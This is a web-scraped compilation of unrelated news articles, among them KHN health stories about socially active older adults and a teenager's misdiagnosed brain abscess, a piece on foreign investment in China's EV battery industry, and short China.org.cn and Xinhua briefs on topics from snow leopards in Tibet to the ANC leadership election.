William "Bill" Gurolnick, 86, another SuperAger in the study, realized the value of becoming more demonstrative after he retired from a sales and marketing position in 1999. "Men aren't usually inclined to talk about their feelings, and I was a keep-things-inside kind of person," he explained. "But opening up to other people is one of the things that I learned to do."



With a small group of other men who'd left the work world behind, Gurolnick helped found a men's group, Men Enjoying Leisure, which now has nearly 150 members and has spawned four similar groups in the Chicago suburbs. Every month, the group meets for two hours, including one hour they spend discussing personal issues divorce, illness, children who can't find jobs, and more.



"We learn people aren't alone in the problems they're dealing with," Gurolnick said, adding that a dozen or so of the men have become good friends.



"Bill is the glue that holds the whole group together," said Buddy Kalish, 80, a member of the group in Northbrook, Ill., a Chicago suburb. "He's very, very caring the first one to send out a thank-you note, the first one to send out a notice when there's been a death in the family."



Activities are another way of cultivating relationships for Gurolnick. On Mondays, he bikes 20 to 30 miles with more than a dozen older men many of them from his men's group followed by lunch. On Tuesdays, he's part of a walking group, followed by coffee. On Wednesdays, he goes to the Wenger Jewish Community Center in Northbrook for two hours of water volleyball. On Thursdays, it's back to the JCC for pickleball, a racquet sport.



"You really get a sense of still being alive," Gurolnick said, when asked what he takes away from these interactions. "You get a sense of not being alone."



Without her best friend, Grayce, whom she's known since high school, and friends who live in her condominium complex, Evelyn Finegan, 88, might have become isolated. Another SuperAger, Finegan is hard of hearing and has macular degeneration in both eyes, but otherwise is astonishingly healthy.



"It's very important to keep up with your friends to pick up the phone and call," said Finegan, who talks to Grayce almost daily and chats with four other friends from high school on a regular basis.



Today, the staples of Finegan's life are her church; a monthly book club; volunteering at a resale shop in Oak Park, Ill.; socializing with a few people in her building; attending a club of Welsh women; and seeing her daughter, her son-in-law and grandchildren, who live in Oregon, whenever she can.



"It's so nice to spend time with Evelyn," said her upstairs neighbor, June Witzl, 91, who often drives Finegan to doctors' appointments. "She's very kind and very generous. And she tells you what she believes so you really feel like you know her, instead of wondering what's on her mind."



Kaiser Health News (KHN) is a national health policy news service. It is an editorially independent program of the Henry J. Kaiser Family Foundation which is not affiliated with Kaiser Permanente.






Amy Hughes was looking forward to a rare luxury: a leisurely weekday lunch with a friend at a restaurant near her suburban Philadelphia home.

Hughes, an engineer at Merck, had taken off the week after Christmas 2015 to spend time with her husband, Kevin, and their two children. The couple's son, Rion, then 13, had come down with a cold on Christmas Day and complained of a headache. A few days later, his pediatrician suspected a sinus infection and prescribed a three-day course of antibiotics.

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"Nothing seemed unusual," Hughes recalled. But an hour after she headed off for lunch, she received an urgent call from her husband summoning her home. Three police cars and an ambulance were lined up in front of her house. A team of paramedics was attempting to manually resuscitate her son as they hurried out the front door. His eyes were closed and his body was racked by a violent seizure. Hughes later learned that the paramedics worried that despite their best efforts, Rion wouldn't make it to the closest hospital, 25 minutes away.

For the next six days, doctors tried to determine why Rion, who had been healthy, suddenly developed a life-threatening seizure that seemed impervious to even high doses of anticonvulsants.

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The answer would turn out to be as disarmingly simple as it was uncommon. And while Rion has fully recovered, the emotional fallout from his frightening illness took longer for his mother to overcome.

"There was lots of anxiety for about a year, but it's no longer there," Hughes said. "I've thought a lot about what I could have done differently, and the answer is: Really nothing."

- - -

As the ambulance carrying Rion roared off, Hughes and her husband followed in their car, a drive that "seemed like an eternity."

At the hospital, the ER staff peppered them with questions about whether Rion used drugs. The seizures suggested a possible overdose, and a CT scan showed no signs of a head injury, another cause of seizures.

"I remember saying, 'I can't believe you're asking me this even though I know you have to,' " said Hughes, whose father had been an emergency room physician.

Rion, she told the staff, has a mild form of autism and attention-deficit disorder; she wasn't sure he even knew what illegal drugs were.

In addition to the severity of the seizure they were struggling to control, doctors were worried about its extremely long duration. They believed Rion might have been having a seizure for more than an hour before his father discovered him and called 911.

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"They kept saying, 'We don't know what he's going to be like when he wakes up,' " Hughes recalled. "I was terrified he had brain damage."

Because he was on a ventilator and needed specialized care, doctors at the community hospital decided to transport him to Children's Hospital of Philadelphia. Unable to medevac Rion - the helicopter had been grounded by wind - a specialized team from CHOP arrived in an ambulance. Hughes climbed in next to her son for the 45-minute ride.

Heavily sedated, Rion was admitted to the pediatric intensive care unit with a fever, and was given a spinal tap to look for an infection capable of triggering seizures, such as meningitis. He received three IV antibiotics and an antifungal drug, but no infection was identified in his spinal fluid.

Hughes tried to spend the night in the ICU with her son. "I sat there after they turned off the lights and watched all the displays and constant alarms and thought, 'He is going to die,' " she said. "I started hyperventilating. My blood pressure was 170/140 and my pulse was really high." The medical team wanted Hughes to go to the Hospital of the University of Pennsylvania's ER across the street, but instead she went back to a family room she had been assigned elsewhere at CHOP and calmed down.

After tests failed to reveal another cause, doctors told Rion's parents they suspected he had contracted a human metapneumovirus, a respiratory infection that typically affects the very young and the very old, and is most common in winter. The virus is typically mild and usually goes away without treatment in a few days; in some people, it can cause more serious illness.

Over the next few days, Rion began showing improvement and was taken off sedation and the ventilator and moved to a general pediatric unit.

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Hughes was overjoyed that he showed no sign of brain damage. Other than slight coordination problems, she said, Rion was joking and "seemed like his old self."

To ensure that he was never alone, Rion's parents and his grandmother, a nurse, took turns staying in the hospital with him. At 6 a.m. on his sixth day in the hospital, his grandmother and mother awoke to find Rion in the midst of a seizure.

At that point, Hughes recalled, "I was in panic mode." Rion was still on anti-seizure drugs, although the dose had been lowered. Surely, his mother thought, the virus had cleared his system. So why was he having a seizure? Unlike the first, this one was quickly controlled with medication.

A few hours later, when the medical team made rounds, Hughes questioned the doctors. They told her they thought some of the virus might still remain in his system, but they were upbeat about his progress. The plan was to send him home the following day, with instructions for an MRI scan of his brain in four to six weeks.

"I thought, 'He can't come home,' " Hughes remembers. " 'What if he has a seizure in the middle of the night and stops breathing?"

- - -

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Hughes asked if the MRI could be done while Rion was still in the hospital. She had struck up a rapport with Stacey R. Rose, the pediatrician on duty, and hoped Rose would agree.

"Mom and I had a lot of discussions about whether we felt comfortable" having Rion go home, Rose recalled. Doing an MRI at this point carried some risk, because a test in the ICU had revealed possible damage to Rion's kidneys. There was concern that the dye used in the MRI could harm his kidneys; waiting looked like a safer bet.

But Rose decided that the potential benefit outweighed the risk, and she ordered the scan.

That night, Rion was still in the MRI machine when a neurosurgeon approached Rion's father in the waiting room.

The scan showed that Rion had a massive infection in the subdural area of his brain that had breached the bony flap separating the brain from the sinuses. The infection had formed an abscess called an empyema, which triggered the seizures. Other symptoms of a subdural empyema include headaches and lethargy.

Before the advent of antibiotics, the condition, which is rare, was uniformly fatal. The problem disproportionately affects males between ages 10 and 40, and typically occurs during the winter.

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Rion, his father was told, would need a procedure to relieve pressure that had built up inside his skull, and the area would need to be rinsed to rid it of infection. Surgery was scheduled for first thing the following morning, the neurosurgeon said - sooner, if his condition deteriorated.

That night, Hughes slept in Rion's hospital bed, holding him "as if I could protect him from having another seizure." He had none, and the surgery was successful. Nearly a week later, Rion went home.

Hughes said she asked doctors why they hadn't suspected an abscess, and was told the disorder is rare; she said she later learned that CHOP sees about one case a week in winter. Rose suspects the CT did not show the abscess because the test was not performed with contrast dye; an MRI scan is the definitive test used to diagnose it.

It's unclear why Rion developed an empyema. "I think it's just bad luck for some kids," Rose said.

Hughes suspects that Rion's high pain tolerance might have complicated the clinical picture. "When I asked him, he said he had a headache," Hughes said. But the pain was controllable with over-the-counter pain relievers and never seemed especially bothersome. Rion had developed some swelling over one eye - another possible sign of an abscess - but that had largely receded after he took the oral antibiotic.

What would have happened had Rion been discharged before being diagnosed?

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Rose chose her words carefully. "He would have continued to have seizures and fever and worsening headaches, and he would have returned to care at that point," she said. "He could certainly have had a poor outcome."

The diagnosis, she said, surprised the medical team. "I think it's always important to be questioning the diagnosis," she said. "It's good to reevaluate."

Hughes, she added, was a "great advocate" for Rion.

Hughes said she will be forever grateful for the care her son received and especially to Rose "for listening to my concerns. I truly believe she saved his life."






Boebert continues to lead Frisch on final day of counting

The election is hovering within the threshold for an automatic recount. Here's the latest in the Colorado race between Adam Frisch and Lauren Boebert.
By Mark Preen

China has ambitious plans for its battery industry as it attempts to develop its electric vehicle (EV) and EV battery industries. Analysts predict that China will have the capacity to produce over 120 GWh of batteries by 2020, and will increase its share of global lithium production from its current 55 percent to 65 percent by 2021.

However, China will need to develop new technologies and the ability to produce high end batteries to achieve its ambitions. At present, Chinese manufacturers are lagging behind foreign producers  such as LG Chem, Samsung SDI, SK Innovation, and Panasonic  on this front. Attracting foreign investment will therefore prove crucial.

RELATED: Investing in Chinas Green Industries

Incentives and restrictions

In order to attract foreign technology, foreign battery producers are officially encouraged to invest in China under the Catalogue for the Guidance of Foreign Investment Industries (the Catalogue) published in June. Under the Catalogue, the foreign investment equity ratio shall not exceed 50 percent stipulation has also been removed.

The removal of this equity ratio requirement from previous iterations of the Catalogue means that foreign investors no longer have to enter into joint ventures with Chinese companies, which will ease concerns about protecting intellectual property.

There are also subsidies available to battery producers. However, draft guidelines released in 2016 stipulated that battery producers would have to have at least 8 GWh of production capacity to qualify for subsidies. This favors Chinese battery producers Build Your Dreams (BYD) and Contemporary Amperex Technology Co. Limited (CATL) because it is a target that only they are able to meet.

No foreign producers in China are currently able to meet this stipulation. The Korean company LG Chem had the biggest production capacity of foreign producers in 2016 with a capacity of 2 GWh at its factory in Nanjing. In this way, the 8 GWh stipulation aims to encourage Chinese battery producers to consolidate so that they mature more quickly.

As well as battery subsidies favoring Chinese battery producers, generous EV subsidies also give domestic producers an advantage because carmakers located in China must use battery producers from a government-approved list if they are to quality for these subsidies. This list is made up of 57 manufacturers, but none of them are foreign.

Pre-Investment, Market Entry Strategy Advisory Services from Dezan Shira & Associates

A leveling playing field

The battery industry in China is becoming more open to foreign investment as it seeks to acquire foreign technology. However, foreign investors still face obstacles when operating in China as the country seeks to simultaneously acquire foreign technology and keep control of the industry.

Due to these obstacles, LG Chem is starting to diversify its production to India and Southeast Asia. However, LG Chem continues to persevere in China and has expanded its production in the country because the company recognizes the importance of the market.

If foreign producers such as LG Chem can make technological breakthroughs, then this will give them a competitive advantage even in the face of subsidy obstacles. It is also expected that the Chinese government will only give Chinese battery producers a few more years to become competitive  subsidies are expected to end in 2020.

Chinese battery producers will therefore have to end their reliance on subsidies and prepare themselves to innovate and compete on a level playing field. Meanwhile, foreign manufacturers that would like to get their foot in the door early may begin studying the local market for entry.

This is Part 2 of a two-part article on EV batteries in China. In Part 1, we discussed the competitive landscape of Chinas EV battery industry.



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Managing Chinas Financial System

Foreign investors often find Chinas financial system to be one of the most difficult areas to navigate when establishing or growing their presence in the country. Navigating Chinas tax system, and its complexities, requires time and commitment. In this issue of China Briefing magazine, we look at the factors that make Chinas tax system unique, and identify steps foreign investors can take to manage its challenges. We first examine the issues that most commonly disorient foreign investors. We then discuss the importance of pre-investment capital planning, within the context of tough foreign exchange controls, before examining the ever-maturing regulations for the transfer pricing system.

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Heather Elgood says those who attend her class at the School of Oriental and African Studies, University of London, include students in their 20s and even 70s.







The older students, she says, are usually bankers and lawyers, who have collected Chinese ceramics for years and want to learn more about them.





Elgood is the course director for postgraduate diploma studies in Asian art at SOAS.





She says her teaching emphasizes two things: the direct touch her students from different parts of the world have with objects of art and the history of such works.





In light of a new cooperation established between her university and the Guardian Education Center in Beijing, Elgood says she hopes her experience and expertise will also benefit Chinese collectors and art lovers.





A subsidiary of the Beijing-based Guardian Group, the education center, along with SOAS and the Art Institute of Chicago, a large US museum, launched the international program in November. The program will offer both short- and long-term courses on art, art history and the market to artists, patrons and buyers, as well for others interested in art.





A small class is expected to have about 20 students.





The Guardian Group also owns China Guardian Auctions, one of the country's top auctioneers, and Guardian Art Center in Beijing, which regularly hosts exhibitions.





The first course will open in May on the overseas collections of ancient Chinese ceramics and bronze wares. Lecturers, including experts from Europe and the United States, will share their latest studies on major British collections of Chinese porcelain and US assemblages of Chinese bronze wares dating to the Shang (c. 16th century-11th century BC) and Zhou (c. 11th century-256 BC) dynasties.





Wang Tao, curator of Chinese art at the Art Institute of Chicago, says he hopes potential students for the new program can first visit his museum to view the exhibition, Mirroring China's Past: Emperors and Their Bronzes.





The display of archaic Chinese bronze will open on Feb 25 and provide glimpses of Bronze Age history.





Wang is also the museum's executive director of a program called Initiatives in Asia. He says Chinese visitors were a rapidly growing international audience group at the museum last year.





He says the exhibition and the course together will shed new light on the research on the aesthetic value of Chinese bronze housed abroad and how the items have been passed down generations.





Kou Qin, board chairman of the Guardian Education Center, says that besides the international program they will also offer courses on other art genres, such as classical Chinese painting, in cooperation with local cultural institutes.





The center will also hold another course, on weekends from April to June 2018, introducing ink-brush masters of 20th-century Chinese art.





The rapid growth of the Chinese art market has boosted people's interest in art and collecting.





There are speculators who seek short-term revenues but more buyers want to be serious collectors through systematic learning.





Elgood says collectors should learn so they don't waste money and don't need to rely on dealers to buy for them.





She hopes more Chinese appreciate the country's heritage and respect for the technical quality of its objects.





This will make a large contribution in terms of self-respect and identity of Chinese culture, she says.




You are here: China

China's largest forest zone earned 400,000 yuan (60,000 U.S. dollars) from its first sale of carbon offset credits Monday.

An autumn scene of the Greater Hinggan Mountain forest zone in Inner Mongolia Autonomous Region. [File photo/Xinhua]





The Chuo'er forestry bureau of the Greater Hinggan Mountain forest in Inner Mongolia Autonomous Region said it sold 40,000 tonnes of the forest zone's total 1.39 million tonnes of offset credits to an investment management firm in Zhejiang Province.

The Greater Hinggan Mountain forest zone covers an area of 106,700 square meters in Inner Mongolia with forest coverage reaching 77.44 percent. Commercial logging is banned.

Yu Shiping, an official with the Chuo'er forestry bureau, said carbon offset trade has created a bright future for maintaining and growing the forest.

China's carbon trade began in 2011. The market is open in seven provinces and municipalities and is expected to expand nationwide.
Images of snow leopards were caught for the first time in eastern parts of southwest China's Tibet Autonomous Region.

[File photo: Chinanews.com]





A total of 20 infrared cameras installed at a 100 square kilometers area in the Nujiang River valley captured footage of the cats several times since November, according to local authorities Monday.

"We have captured images of baby leopards with their mother, which indicates a certain quantity of the rare species live in the region," said Zhao Xiang, head of the Shan Shui Conservation Center.

Snow leopards are a Class A protected animal in China and are classified as "endangered" by the International Union for Conservation of Nature. They live in the Himalayas in central and south Asia at an altitude of 2,500 to 4,500 meters, with 60 percent of the population in China.

Local official said their appearance in the populous region in eastern Tibet showed efforts to protect the local ecosystem and biological diversity were successful.

A number of highland species, including red fox, white-lipped deer, Chinese serow and alpine musk deer were also spotted in the region.
The Beijing municipal government recently introduced 27 incentive measures in eight aspects on income distribution, in a bid to boost income of seven major groups of citizens.

The new policy aims at seven categories of workers that the city considers to have great potential for income growth and can act as strong economic drivers. They include technical talents, new type of farmers, scientific researchers, entrepreneurs of small-and-micro startups, enterprise operation and management personnel, capable laborers in poverty, and grassroots cadres, according to the Beijing Municipal Human Resources and Social Security Bureau.

For technical talents, Beijing will raise their income and social status in five aspects: remuneration rise, reward incentives, career development, transformation and sharing of skill-based outcomes, and personal training. The salary of a skilled post is allowed to grow faster than others. Meanwhile, universities and technical colleges in the city can select and recruit outstanding high-skilled personnel as distinguished professors, with pay levels on par with experienced professionals and technical personnel.

For scientific researchers, Beijing will improve the incentive mechanism by encouraging state-owned scientific and technological enterprises to offer shares for scientific and technological achievements and to implement stock options and dividend incentives, while improving the proportion of gain sharing for scientific researchers.

Regarding farmers, Beijing will incorporate the training of new types of professional farmers into secondary and higher vocational education programs, improve education and training resources for rural citizens, and encourage farmers to receive part-time vocational education and skill development locally. At the same time, the city will improve their capabilities in e-commerce and marketing and support them in sales of fresh agricultural products.

With respect to low-income households and villages, the city will increase financial support with special funds for low-income groups to focus on the development of industries with local characteristics. Moreover, in the ongoing industrial transformation, upgrading and relocation operations, enterprises of the city shall pay for social security for their employees who are not currently on-the-job but maintaining the employment relationship, and pay them living allowance of no less than 70 percent of the minimum wage in the city as required.

In addition, the city will further strengthen support for entrepreneurship to encourage qualified personnel to start businesses and take up occupations in the field of e-commerce.




Safety has become a major concern for China's overseas students, according to a report released by a think tank on Monday.

A student attends the 2015 China Education Expo in Beijing, Oct 25, 2015. [Photo by Wang Zhuangfei/China Daily]





Embassies and consulates handled more than 100,000 reports including robbery, intentional injury and sexual assault from Chinese abroad in 2016.

The figure represents a sharp increase from the previous year, in which there were 36,800 incidents, according to the 2017 Report on the Development of Chinese Students Studying Abroad.

About 1.36 million Chinese studied abroad in 2016, more than any other country.

The annual report, published by the Center for China and Globalization, said reports about safety fell into three categories: personal safety, psychological safety and the security of property.

The report found that more than 65 percent of students abroad felt that danger was a random problem and had been exaggerated by media reports. Only 27.4 percent thought it was a serious problem that should be immediately tackled.

Wang Yaohui, director of the center, said that more knowledge about safety problems and lifesaving techniques should be taught in schools, education agencies and language training institutions before sending students overseas.

"Students should also keep in frequent contact with their parents, friends, student unions and the local embassy and consulate, as well as be familiar with local laws and regulations," Wang said.

China is the largest source of international students in English-speaking countries, as well as in Asia.

However, Yang Qun, chief editor of Social Sciences Academic Press, said measures should be taken to create a safer environment for students abroad, since there is growing concern as more students go overseas.

Miao Lu, secretary-general of the center, said: "With frequent terrorist attacks in the US and Europe, students and their parents are becoming more cautious now when it comes to studying abroad."
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The 2017 National Postdoctoral Academic Forum opened in Hengqin New Area in Zhuhai, Guangdong Province, on Dec. 19, with nearly 140 international experts, scholars and postdoctoral researchers in attendance to discuss the latest developments in artificial intelligence.







China has been striving to advance the development of artificial intelligence in recent years. The Ministry of Industry and Information Technology issued a three-year action plan for the development of the industry on Dec. 14.





To promote postdoctoral researchers participation in developing the AI sector, the forum is themed The Future is Now: Embracing the 4th Wave of AI, including sessions on industrial innovation and talent cultivation, with an aim to bridge the industry and academia.





Such academic events offer sites for postdoctoral talents to exchange ideas and improve innovation, said Qiu Chunlei, deputy director of the overseas students and experts service center, Ministry of Human Resources and Social Security, and deputy secretary-general of China Postdoctoral Science Foundation.





He Dong, an official of the Guangdong Provincial Department of Human Resources and Social Security, said that Hengqin New Area has hosted several postdoctoral events since its postdoctoral workstation was established two years ago and offered opportunities for postdoctoral personnel to exercise their talents.





He added that the integration of the internet, big data and AI with the real economy plays a key role in Guangdongs industrial upgrading, and that the forum will promote the development of AI and related technologies.





Deng Lianbing, director of the Hengqin New Areas postdoctoral administration, said that they aim to raise Hengqins profile nationwide by hosting such academic events.





The organizers of the forum, the National Postdoctoral Administration Committee Office and the China Postdoctoral Science Foundation, also organized the Colloquium of Supporting Innovative Postdoctoral Talents on Dec. 19 as well as an event for the 45th Cohort of the China Postdoctoral Sci-Tech Service Corps from Dec. 20 to 21.





The postdoctoral events are hosted by the Hengqin New Areas postdoctoral administration and Zhuhai Da Hengqin Technology Development Co. Ltd., with support from the Hengqin New Area administration, National Postdoctoral Administration Committee Office, China Postdoctoral Science Foundation, and Guangdong Provincial Department of Human Resources and Social Security.





Officials from the Ministry of Human Resources and Social Security, National Postdoctoral Administration Committee Office, China Postdoctoral Science Foundation, Guangdong provincial government, Zhuhai municipal government and Hengqin New Area administration will be in attendance, along with representatives of international organizations and educational institutions.








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The first Colloquium of Supporting Innovative Postdoctoral Talents opened in Hengqin New Area in Zhuhai, Guangdong Province on Dec. 19.







The event aims to facilitate exchange among all parties involved in the governments plan for supporting postdoctoral researchers, which was launched by the Ministry of Human Resources and Social Security and the National Postdoctoral Administration Committee in 2016.





The event is organized by the National Postdoctoral Administration Committee, China Postdoctoral Science Foundation, Guangdong provincial human resources and social security department, Hengqin New Area postdoctoral administration, and Zhuhai Da Hengqin Technology Development Co. Ltd.





The colloquium's opening ceremony featured speeches by Tang Tao, vice minister of Ministry of Human Resources and Social Security and director of the National Postdoctoral Administration Committee; Liu Jiawen, deputy mayor of Zhuhai; Yu Jiadong, director of the department of professionals and technical personnel management at the Ministry of Human Resources and Social Security; and Niu Jing, secretary of the committee of the Communist Party of China (CPC) of Hengqin New Area administration.




Cooperation on education could be the way to bring China and the U.S. closer together. [File photo]





Despite most official discussions between China and the U.S. focusing on policy and the economy, the two heads of state have not overlooked culture. When Chinese President Xi Jinping and U.S. President Donald Trump took on a set of institutional dialogues in April at Mar-a-Lago, they established the U.S.-China Social and Cultural Dialogue (SCD).

Chinese Vice Premier Liu Yandong and U.S. Secretary of State Rex Tillerson chaired the first SCD at the end of September in Washington D.C. They set the basis for closer cooperation in fields such as education, social development, science, technology, health and the environment. The two countries are in the process of engaging in conversations that affect the citizens of both and nurture common understanding despite existing differences.

According to the U.S. State Department, the SCD"showcases how peoples [from China and the U.S.] can live together for the next 50 years and build a shared future." The importance of culture in Sino-American relations was outlined during Trump's recent visit to Beijing. On the first day, he and First Lady Melania Trump toured the Forbidden City to learn about restoration efforts for historic Chinese sites and later attended a special performance by Peking Opera accompanied by Xi and his wife, Peng Liyuan.

Within this framework, official exchanges can shift focus to education as the China-Yale Youth Leaders Dialogue took place in New Haven and Washington D.C. a few days ago. Members of the Chinese delegation, who were selected by the All-China Youth Federation (ACYF) and China's State Administration of Foreign Experts Affairs, had the opportunity to attend lectures by respected American professors and visit government institutions and think tanks. Their expertise vacillated from law and the media to government and economics.

When young leaders from one side understand the other side and create communication channels, they can facilitate better collaboration and help to overcome cultural misunderstandings between the two sides. Over the years, this has occurred with Chinese students visiting the U.S. in droves, but now the reverse is gradually happening. A few months ago, The Wall Street Journal published an article titled:"Why American Students Need Chinese Schools." The more China is growing and is embracing innovation, the more the U.S. interest in its education system will develop.

Although Chinese may be a barrier for American students, the younger generation is keen on learning the language. It should be noted that Chinese is the most spoken language in the world, with 1.39 billion speakers according to data from the University of Duesseldorf. Hindi-Urdu follows with 588 million speakers and English with 527 million speakers. China therefore has an excellent opportunity: It can combine its open-up policy with giving incentives to foreigners to come to China and study Chinese. The hope is that, like English, Chinese will have no geographical boundaries.

The education partnerships between Chinese and American institutions are already bearing fruits. They include the partnerships between the Tsinghua Center and Brookings, and between East China Normal University and New York University. As a result, New York University created a campus in Shanghai, and it became the first Sino-U.S. joint venture university approved by China's Ministry of Education with independent legal person status. Furthermore, Duke Kunshan University is a partnership between Duke University and Wuhan University and is located in Kunshan, Jiangsu Province.

Perspectives for the future are bright. China's Ministry of Education and the U.S. Department of Education intend to expand their cooperation to strengthen career, technical, and vocational education in both countries. Washington and Beijing recently signed the Memorandum of Understanding on the U.S.-China Teachers of Critical Languages Program and are committed to carrying out activities including conferences for students, scholars, and alumni.

The Sino-American relations are multifaceted. The growing interest in themes such as the North Korean imbroglio, the South China Sea dispute, and the general trade disagreements should not lead to culture exchanges to be overlooked. It is cultural cooperation  in this case educational cooperation  that can mobilize societies to come closer.

George N. Tzogopoulos is a columnist with China.org.cn. For more information please visit:

http://www.china.org.cn/opinion/GeorgeNTzogopoulos.htm





Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.




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U.S. President Donald Trump on Monday announced the national security strategy, the first of its kind since he took office in January and the 17th since the former Reagan administration began to submit the report to the U.S. Congress in 1987.

In a speech delivered in Ronald Reagan Building and International Trade Center, Trump said the report, which has been developed for over a year, features "principled realism" and identifies four vital national interests or four "pillars," namely, to protect the homeland and its people, promote the U.S. prosperity, preserve peace through strength and advance the U.S. influence.

"This strategy recognizes that, whether we like it or not, we are engaged in a new era of competition. We accept that vigorous military, economic and political contests are playing out all around the world," he said.

He also vehemently blasted the "failures" of his predecessors, saying "for many years our citizens watched as Washington politicians presided over one disappointment after another." These included the expansion of the Islamic State (IS) and the unfairly proportionally defense burden Washington has shouldered for its allies.

Saying he will not tolerate the aforementioned "disappointments" any more, Trump also defended a string of his highly controversial decisions to retreat from "job-killing deals" and the "very expensive and unfair Paris climate accord," as well as to decertify the hard-won Iran nuclear deal in October.

For his part, U.S. Secretary of State Rex Tillerson later issued an announcement, saying that the United States "faces a 21st century global environment that presents unconventional threats from non-state actors, as well as challenges to our economic and national security from traditional state actors."

"The State Department will work ... to implement this strategy," he added.

Overall the strategy was based in the context of an ever competitive world rife with political, economic and military competitions, all accelerated by information and data in the fiber domain, the White House officials argued earlier on Monday, saying Washington "has not been competing as effectively as it might across these competitions, and we need to do better to protect our interests."

According to the officials, what was specifically new in this report, compared with its predecessors, was the inclusion of economic and trade security into the report. The White House highlighted the protection of the U.S. national security innovation base (SIB), a new term it introduced to "capture the range of activities" to secure the U.S. economic interest and beyond.

According to Michael O'Hanlon, a senior fellow on foreign policy at the Brookings Institution, Trump's report shows "there is a sense among some of the top team" in the White House that other nations are taking advantage of the United States.




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Chinese Foreign Minister Wang Yi held talks with his Italian counterpart Angelino Alfano on Monday, agreeing to boost cooperation under the Belt and Road Initiative.

Both sides agreed to launch consultations to sign an intergovernmental cooperation document as soon as possible and to formulate a guideline and project list for cooperation under the Belt and Road Initiative, according to Wang.

The two foreign ministers support China and Italy to have more cultural exchanges, carry out innovation-oriented cooperation and forge closer partnerships among their small and medium enterprises.

They expressed their commitment to upholding multilateralism, building an open world economy and forging mutually beneficial, fair and win-win state-to-state relations.

Wang said China will work with Italy to contribute to the building of a community with a shared future for mankind.

Alfano is on an official visit to China from Dec. 17 to 19. After their talks, the two foreign ministers attended the closing ceremony of the eighth joint meeting of the China-Italy Government Committee.
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South Africa's ruling party African National Congress (ANC) elected Cyril Ramaphosa on Monday to be the party's president for the next five years.





Ramaphosa who is the party and country's deputy president had a tight contest with the former AU Commission chairperson, Nkosazan Dlamini-Zuma for the ANC president position. The elections were conducted by EleXions Agency.

EleXions Agency Director Bontle Mpakanyane, when announcing the results said, "Nkosazana Dlamini Zuma got 2,261 and Cyril Ramaphosa got 2,440. I therefore declare Cyril Ramaphosa as president of the African National Congress."

Ramaphosa's election into ANC president was welcomed by some experts who believe the new leader will inspire confidence of the markets and investors.

"We expect economic reforms under Ramaphosa, boost for business confidence and creditable leadership. Under Ramphosa's administration we expect investor and business confidence to increase," said Peter Draper, managing director of Tutwa Consulting.

Ramaphosa will also fight to remove corruption in the country, according to Draper.

During his addresses before election, Ramaphosa spoke against state capture and corruption. He called for the country to quickly address the state capture allegations by appointing the Judiciary Commission to investigate it and arrest those involved in corruption. He also called for the recovery of the money lost in the state capture and corruption to be used for developmental purposes.

"We expect the markets to welcome his win and also the rand to respond positively to that by strengthening in value. We also expect Ramaphosa to continue with the Pan Africanist foreign policy, continue dealing with China, BRICS and the West. We expect him to have a friendly stance on his foreign policy. He has a good stature locally and internationally." Draper said.

Draper said Ramaphosa's experience in the business makes him acceptable and likely to be acceptable by the business community and investors.

The Minister of Small Business Development, Lindiwe Zulu told Xinhua that the elected leaders should work to unite and grow the party.

"Unity is not an option for any cadre, it's a must. It's not about an individual but about an organization which translate to the people of South Africa. We cannot afford to have ANC going down," Zulu said.

According to the election results, the Mpumalanga premier, David Mabuza was elected the ANC deputy president after beating the Human Settlements Minister, Lindiwe Sisulu. Paul Mashatile becomes the party's treasurer general after beating the International Relations and Cooperation Minister, Maite Nkoana-Mashabane.

The former ANC General Secretary Gwede Mantashe beat the Arts and culture Minister Nathi Mthethwa to become the national party chairperson, while Ace Magashule was elected the party general secretary after beating Senzo Mchunu. Jessie Duarte who was the party deputy general secretary was retained in the same post after beating Zingiswa Losi.

The ANC electoral commission chairperson, Sindiso Mfenyana thanked the outgoing ANC leaders who served in the party leadership.

Baleka Mbete, outgoing ANC chairperson said, "I would like to thank the conference for disappointing those who thought this conference won't come together. This conference has been a success even though it is not yet finished. It was disciplined. I ask you to cooperate with the new determined and winning leadership as we move towards 2019."

The country will hold the presidential and parliamentary elections in 2019.
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Chinese air force planes Monday flew through Tsushima Strait for the first time and conducted drills in international airspace over the Sea of Japan, an air force spokesperson said.





The drills, involving bombers, fighters, reconnaissance planes and other aircraft, were aimed to examine the high-sea combat ability of the air force, said Shen Jinke, spokesman for the Chinese People's Liberation Army (PLA) Air Force.

The drills accomplished the planned purpose and improved the air force's manoeuvring capability on the high sea, he said, adding that Chinese planes responded to interference from foreign military aircraft.

As part of the air force's annual training program, the drills are in line with international laws and practices and do not target any particular country, region or object, said Shen.

The spokesman stressed that Tsushima Strait is not territorial waters, hence all countries enjoy freedom of navigation and overflight under the United Nations Convention on the Law of the Sea.

He described the drills as "legal and reasonable."
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The Sinabung volcano in Indonesia's North Sumatra province erupted on Monday, spewing hot clouds, an official monitoring the volcano said.

Head of Sinabung volcano monitoring post Armen Putra said the latest eruption took place on 13:02 p.m. Western Indonesian Time (WIB), coupled with 303 seconds of tremors around the area.

"Hot clouds were seen rising 2,500 meters to the east-southeast and 3,500 meters to the south," Armed said.

He added the post was hardly able to see the column of smoke and ashes from the eruption as the volcano summit was engulfed by thick haze. The wind blew mildly during the eruption, bringing the ashes to the west-south direction, he added.

People were advised to stay away from areas declared red zones around the volcano as more eruptions were expected to take place in the near future, he said.

People were also told to be remain alert for possible flood of cold lava from the volcano amid the intensifying rains nowadays.

Indonesian authorities imposed highest alert of level 4 in the volcano, which has yet to be reviewed since 2013 when it began its eruptions.

The last eruption prior to the Monday's eruption took place on Nov. 29, blasted column of volcanic ashes and hot clouds.

Over 2,000 people were displaced from the ongoing Sinabung volcanic activities.
You are here: World

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Police in Suffolk, southeastern Britain, have taken a man into custody with cuts and bruises after a "significant incident" at RAF Mildenhall, a U.S. airforce base in Britain, the police tweeted Monday.

"Shots were fired by American service personnel and a man has been detained with cuts and bruises and taken into custody," the Suffolk Police said in a brief statement.

No other people have been injured as the result of the incident, the statement added.

According to local media reports, a man was arrested after allegedly attempting to drive through an entry point at the airforce base and shots were fired by U.S. service personnel.

RAF Mildenhall was put into lockdown after police was contacted at about 1340 GMT following the "security incident" and members of the public are asked to avoid the RAF Mildenhall area for the time being.

RAF Mildenhall has previously been a potential target for a terrorist attack.

Junead Khan, a delivery driver, was convicted last year for plotting to behead a U.S. serviceman outside RAF Mildenhall In 2016.
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The Ukrainian Foreign Ministry said on Monday it was "outraged" by Russia's withdrawal from the Joint Center for Control and Coordination of the Ceasefire (JCCC) in Ukraine's eastern conflict-hit region of Donbas.

"We regard this unprecedented step of Russia as another provocation, which essentially undermines the Minsk accords," the Ukrainian Foreign Ministry said in a statement on its website.

